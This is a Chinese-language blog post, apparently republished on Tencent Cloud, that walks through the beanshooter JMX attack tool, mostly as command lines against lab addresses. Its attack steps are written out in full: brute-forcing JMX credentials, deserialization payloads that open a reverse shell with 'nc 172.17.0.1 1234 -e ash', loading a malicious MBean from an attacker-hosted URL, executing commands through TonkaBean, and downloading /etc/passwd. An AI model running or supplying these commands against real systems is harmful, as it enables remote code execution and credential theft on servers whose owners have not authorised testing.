前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >【神兵利器】JAVA JMX漏洞综合利用工具

【神兵利器】JAVA JMX漏洞综合利用工具

作者头像
Al1ex
发布于 2025-01-22 05:04:49
发布于 2025-01-22 05:04:49
22100
代码可运行
举报
文章被收录于专栏:网络安全攻防网络安全攻防
运行总次数:0
代码可运行

基本介绍

beanshooter是一个JMX枚举和攻击工具,有助于识别JMX端点上的常见漏洞并提供了丰富的漏洞利用载荷和利用方式

工具编译

我们也可以通过beanshooter来枚举并注册EvilBean到JMXServer端,首先我们需要去下载beanshooter工具到本地,随后下到本地并进行打包

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
cd beanshooter
mvn package
基本使用

基本操作是可以在JMX服务上执行的通用操作,这些操作通常不以特定的MBean为目标或者以没有beanshooter内置支持的MBean为目标

帮助信息
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar -h
信息收集

info操作可用于获取可用的属性信息:

(1) 未授权模式:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar info 172.17.0.2 9010

(2) 授权认证模式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar info 172.17.0.2 1090 --username admin --password admin

在没有附加参数的情况下调用时将打印所有可用MBeans的方法和属性信息,在指定附加ObjectName时仅打印指定MBean的方法和属性信息

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar info 172.17.0.2 9010 java.lang:type=Memory
属性变更

attr模式下可以获取并显示指定属性的值:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose

如果我们传入其他附加的参数值,那么beanshooter会去尝试设置相应的属性,对于类型不同于字符串的属性则需要使用"-type"选项指定属性类型,例如:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose true --type boolean
java -jar beanshooter.jar attr 172.17.0.2 9010 java.lang:type=Memory Verbose
爆破操作

我们可以通过brute模块来对JMX服务进行暴力猜解攻击:

(1) 默认模式

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar brute 172.17.0.2 1090

(2) 字典模式

用户可以按需指定用于进行暴力枚举的字典进行爆破尝试攻击,例如:

枚举操作

enum操作用于枚举JMX的配置信息,它总是会去检查JMX端点是否需要"身份验证"以及是否"允许预先身份验证的任意反序列化":

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar enum 172.17.0.2 1090

如果当不需要身份验证或者当指定了有效的凭据时,enum操作还会尝试从JMX端点枚举一些进一步的信息,包括非默认MBeans的列表,例如:在Apache tomcat服务器上注册的用户帐户

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar enum 172.17.0.2 9010

在受SASL保护的端点上调用enum操作时,beanshooter将试图枚举服务器配置的SASL配置文件,这仅在一定程度上存在可能并且无法枚举服务器的TLS配置,如果beanshooter识别SASL配置文件不起作用,则应该总是在使用/不使用-ssl选项的情况下重试

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar enum 172.17.0.2 4447 --jmxmp
列举操作

list操作打印远程JMX服务上所有已注册MBeans的列表

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar list 172.17.0.2 9010
模型操作

model action实现了Markus Wulftange提出的一种技术,允许使用者调用Java的任意公共类和静态方法,此外还可以在用户创建的对象实例上调用公共对象方法,唯一的要求是所使用的方法参数和所提供的对象实例(对于非静态方法)是可序列化的,下面介绍了一个使用示例,其中File对象作为对象实例提供并对其调用String[] list()操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar model 172.17.0.2 9010 de.qtc.beanshooter:version=1 java.io.File 'new java.io.File("/")'
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'

setManagedResource方法也是可用的,它可以用于更改要操作的对象实例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'setManagedResource(Object a, String b)' 'new java.io.File("/etc")' objectReference
[+] Call was successful.
java -jar beanshooter.jar invoke 172.17.0.2 9010 de.qtc.beanshooter:version=1 --signature 'list()'
apk
shadow
crontabs
sysctl.conf
nsswitch.conf
profile.d
group
services
protocols
network
opt
logrotate.d
issue
passwd
init.d
udhcpd.conf
alpine-release
motd
hosts
sysctl.d
fstab
inittab
ssl
periodic
ssl1.1
os-release
modules
securetty
profile
modprobe.d
hostname
conf.d
modules-load.d
mtab
shells
secfixes.d
resolv.conf
root@RedTeam:~#
反序列化

serial操作可用于在JMX端点上执行反序列化攻击,默认情况下该操作会尝试验证后反序列化攻击,要做到这一点您需要将JMX服务定位为允许未经身份验证的访问或者您需要有效的凭据

Step 1:开启监听

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
nc -lnvp 1234

Step 2:发起反序列化请求,如果出现下面的错误提示则说明是未配置yso.jar的路径

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 1234 -e ash" --username admin --password admin

随后正常执行后可以成功反弹shell回来:

JMX服务也容易受到预先验证的反序列化攻击,要滥用这一点,您可以使用-preauth开关

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar serial 172.17.0.2 1090 CommonsCollections6 "nc 172.17.0.1 4444 -e ash" --preauth

备注:针对JMXMP端点预先验证的反序列化通常是可能的,不幸的是在枚举操作中没有办法正确地枚举它,如果您遇到一个JMXMP端点,您应该试一试

MBeans

MBean操作与针对JMX端点所暴露的通用功能的基本操作相比则是针对特定的MBean,Beanshooter对于每个支持的MBean都提供了另一个子解析器,其中包含相应MBean的可用操作和选项,以下列表展示了mlet MBean及其关联子解析器的示例:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar mlet -h
Generic

Generic MBean操作反映了基本操作的功能,但不需要指定ObjectName

攻击操作

attr操作与基本操作中的attr操作相同,然而不再需要指定ObjectName,因为它已包含在所指定的MBean中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 java -jar beanshooter.jar tomcat attr 172.17.0.2 1090 users
部署操作

deploy操作基本上与上面的deploy操作相同,然而由于ClassName、ObjectName和实现的JAR文件都已与指定的MBean关联,因此您只需在此操作中指定--stager-url选项(假设内置的jar文件可用):

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka deploy 172.17.0.2 9010 --stager-url http://172.17.0.1:8000
导出操作

在有时候我们会发现无法通过beanshooter的stager服务器提供MBean实现,常见的情况之一是向本地机器的出站连接被阻止,在这种情况下我们可能希望从其他位置加载MBean,例如:在具有写入权限的内部网络中的SMB服务,export操作导出实现指定MBean的jar文件以及加载MBean所需的相应MLet HTML文档,假设我们从监听在10.10.10.5的SMB服务提供TonkaBean,那么可以使用以下命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
[qtc@devbox ~]$ beanshooter tonka export --export-dir export --stager-url file:////10.10.10.5/share/
[+] Exporting MBean jar file: export/tonka-bean-3.0.0-jar-with-dependencies.jar
[+] Exporting MLet HTML file to: export/index.html
[+]   Class:     de.qtc.beanshooter.tonkabean.TonkaBean
[+]   Archive:   tonka-bean-3.0.0-jar-with-dependencies.jar
[+]   Object:    MLetTonkaBean:name=TonkaBean,id=1
[+]   Codebase:  file:////10.10.10.5/share/
常用信息

info操作列出指定MBean的方法和属性信息:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tomcat info 172.17.0.2 1090
常规调用

invoke操作可用于在指定的MBean上调用任意方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tomcat invoke 172.17.0.2 1090 --signature 'findUser(String username)' admin
选项信息

stats操作列出指定MBean的一些基本信息,这些信息是beanshooter本地存储的与相应MBean相关的数据,无需与服务器进行交互,Jar文件信息指示相应MBean的实现是否内置在beanshooter中,如果未使用--jar-file选项覆盖,则在部署过程中将使用该jar文件,目前TonkaBean是唯一一个具有可用Jar文件的MBean

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka stats
状态查询

status操作检查相应的MBean是否已在JMX服务上可用

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka status 172.17.0.2 9010
卸载操作

undeploy操作从远程JMX服务中移除指定的MBean:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka undeploy 172.17.0.2 9010
MLet

MLetMBean是一个众所周知的MBean,它可以用于通过网络加载额外的MBean,它已经被beanshooter的部署操作隐式使用,同时也可以通过mlet操作手动调用

MLet Load

目前唯一实现的MLet方法是load操作,可用于从用户指定的URL加载MBean类:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar mlet load 172.17.0.2 9010 tonka http://172.17.0.1:8000

上述示例演示了如何使用mlet操作手动加载TonkaBean,如果您想要加载自定义MBean,则需要指定关键字custom而不是tonka,并提供--class-name、--object-name和--jar-file选项:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar mlet load 172.17.0.2 9010 custom http://172.17.0.1:8000 --class-name Evil --object-name Evil:name=Evil,id=1 --jar-file /root/jmx/JMXPayload.jar
TONKA

TonkaBean是由beanshooter项目实现的自定义MBean,允许在JMX服务器上访问文件系统和执行命令,可以通过使用tonka操作来访问其所需的功能

Tonka Exec

exec操作可用于在RMI服务上执行单个命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 id

exec操作的最后一个参数预期为字符串,当未使用"--shell"选项时,该字符串会在空格处拆分(考虑引号)并作为数组传递给服务器端的ProcessBuilder类,如果使用了"--shell"则指定的shell字符串会在空格处拆分,生成的数组与指定的参数字符串连接后再传递给ProcessBuilder类,这允许以类似shell的方式执行并正确解释shell特殊字符:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka exec 172.17.0.2 9010 --shell 'ash -c' 'echo $HOSTNAME'

备注:为了方便起见,常见的shell会自动附加所需的命令字符串参数,因此"--shell ash"会自动转换为--shell 'ash -c'

Tonka Execarray

execarray操作与exec动作非常相似,但它不是期望一个字符串作为参数并在空格处分割该字符串以构建命令数组,而是允许指定多个参数,这些参数将直接作为ProcessBuilder类的命令数组使用:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka execarray 172.17.0.2 9010 -- ash -c 'echo $HOME'
Tonka Shell

shell操作会启动一个命令行shell,您可以在其中指定将在JMX服务器上执行的命令,该shell并不是完全交互式的,只是对Java的Runtime.exec方法的一个封装,然而它实现了对环境变量和当前工作目录的基本支持:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka shell 172.17.0.2 9010

上面的示例演示了如何使用!env关键字设置环境变量,除了这个关键字,还有其他几个可用的关键字:

Tonka Upload

upload操作可用于将文件上传到JMX服务器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka upload 172.17.0.2 9010 file.dat /tmp
Tonka Download

download操作可用于从JMX服务器下载文件:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
java -jar beanshooter.jar tonka download 172.17.0.2 9010 /etc/passwd
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-21,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 七芒星实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
【C语言】基本语法知识&&C语言函数&&操作符详解
首先介绍一下我使用的工具:VS2019——集成了很多的功能:编辑、编译、链接、运行、调试等
用户10925563
2024/06/04
3440
【C语言】基本语法知识&&C语言函数&&操作符详解
初识C语言
自己整理的C语言基础学习笔记,参考了挺多资料的,适合梳理知识框架,进而攻克各个知识点。
小孙同学
2022/01/14
4000
初识C语言
[工具推荐]NetAssist网络调试助手
http://free.cmsoft.cn/download/cmsoft/assistant/netassist5.0.2.zip
科控物联
2022/03/29
14.7K0
[工具推荐]NetAssist网络调试助手
2. 变量与运算符
在Java程序中 , 不同的基本数据类型(只有7中 , 不包含boolean类型)变量的值经常需要进行相互转换
捞月亮的小北
2023/12/01
2100
2. 变量与运算符
c 语言学习第三天
当我们定义了一个字符变量 c 为a时,打印的时候让它使整数形式显示。会出现怎么一个情况?
冬夜先生
2021/09/05
2170
串口调试工具推荐
在进行嵌入式开发时,总是要面对着来自终端的各种报文。不同的设备、终端厂商都有一套自己的报文协议,如何调试和测试是开发过程中很重要的事情,做好了事半功倍,做差了事倍功半。
happlyfox
2021/03/09
4.6K0
Python基础教程(补中秋的文章)
身份运算符用于比较两个对象是否为同一个对象。身份运算符共有两个:is和is not。
云深无际
2020/10/23
6850
Python基础教程(补中秋的文章)
C语言运算符优先级列表(超详细)
每当想找哪个运算符优先级高时,很多时候总是想找的就没有,真让人气愤!现在,终于有个我个人觉得非常全的,分享给大家。
全栈程序员站长
2022/11/09
9.7K0
C语言运算符优先级 详细列表
文章作者:姜南(Slyar) 文章来源:Slyar Home (www.slyar.com) 转载请注明,谢谢合作。
繁花云
2018/07/31
1.3K0
第二章 变量与运算符
例如 : 关键字 class , public , static , void 等早就已经被定义好的
捞月亮的小北
2023/12/01
1780
第二章 变量与运算符
初识C语言·2
signed和unsigned都是C语言中的关键字,它们的作用是决定字符或者整型的正负号。
_lazy
2024/10/16
1640
初识C语言·2
【必读】C语言基础知识大全
C语言程序的结构认识 用一个简单的c程序例子,介绍c语言的基本构成、格式、以及良好的书写风格,使小伙伴对c语言有个初步认识。 例1:计算两个整数之和的c程序: #include main() { int a,b,sum; /*定义变量a,b,sum为整型变量*/ a=20; /*把整数20赋值给整型变量a*/ b=15; /*把整数15赋值给整型变量b*/ sum=a+b; /*把两个数之和赋值给整型变量sum*/ printf(“a=%d,b=%d,su
老九君
2018/03/06
6.4K0
【必读】C语言基础知识大全
运算符优先级
优先级 运算符 名称或含义 使用形式 结合方向 说明 1 [] 数组下标 数组名[常量表达式] 左到右 () 圆括号 (表达式)/函数名(形参表) . 成员选择(对象) 对象.成员名 -> 成员选择(指针) 对象指针->成员名 2 - 负号运算符 -表达式 右到左 单目运算符 (类型) 强制类型转换
猿人谷
2018/01/17
7040
初识 C# 编程语言
  .NET是一种用于构建多种应用的免费开源开发平台,可以使用多种语言,编辑器和库开发Web应用、Web API和微服务、云中的无服务器函数、云原生应用、移动应用、桌面应用、Windows WPF、Windows窗体、通用 Windows平台 (UWP)、游戏、物联网 (IoT)、机器学习、控制台应用、Windows服务。
小孙同学
2022/01/14
21.6K0
初识 C# 编程语言
C语言入门
人与人之间交流需要通过语言,我们中国人之间交流用普通话,英国人用英语,俄国人用俄语等。
小颜同学
2023/08/21
1K0
C语言万字基础笔记总结(一)
当运算符左右两个操作数类型不同时,编译器会将它们共同转换位某种数据类型,通常情况下,会向精度较大的那个类型转化。
远方的星
2021/08/02
9270
C语言万字基础笔记总结(一)
如何深入掌握C语言操作符及表达式求值(详解)
2. 对于 / 操作符如果两个操作数都为整数,执行整数除法(相当于取余返回整数值)
用户9645905
2022/11/30
6610
如何深入掌握C语言操作符及表达式求值(详解)
Java入门(2)-- 语言基础
Java程序的基本组成单位是类,类体中又包括属性和方法两个部分。每个应用程序都必须包含一个main()方法,含有main()方法的类称为主类。
爱学习的程序媛
2022/04/07
5240
Java入门(2)-- 语言基础
【C语言】室友看了这操作符,连王者都不准备打 |
注意:数学上的是乘法(x),而在我们编程当中是星号(*)。 运行结果:Arabic numerals = 4
謓泽
2022/12/12
5910
【C语言】室友看了这操作符,连王者都不准备打 |
C语言常用的知识没多少之运算符与表达式
在现实中学完数数就要开始学习数的运算,如加减乘除等。C语言也有对数的运算,有算数运算、赋值运算、关系运算、逻辑运算、位运算、条件运算、逗号运算、sizeof运算。在此按照顺序讲解一些常用的运算。
用户5935416
2019/08/01
6360
C语言常用的知识没多少之运算符与表达式
相关推荐
【C语言】基本语法知识&&C语言函数&&操作符详解
更多 >
LV.1
这个人很懒,什么都没有留下~
目录
  • 工具编译
  • 基本使用
    • 帮助信息
    • 信息收集
    • 属性变更
    • 爆破操作
    • 枚举操作
    • 列举操作
    • 模型操作
    • 反序列化
  • MBeans
    • Generic
      • 攻击操作
      • 部署操作
      • 导出操作
      • 常用信息
      • 常规调用
      • 选项信息
      • 状态查询
      • 卸载操作
    • MLet
      • MLet Load
  • TONKA
    • Tonka Exec
    • Tonka Execarray
    • Tonka Shell
    • Tonka Upload
    • Tonka Download
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档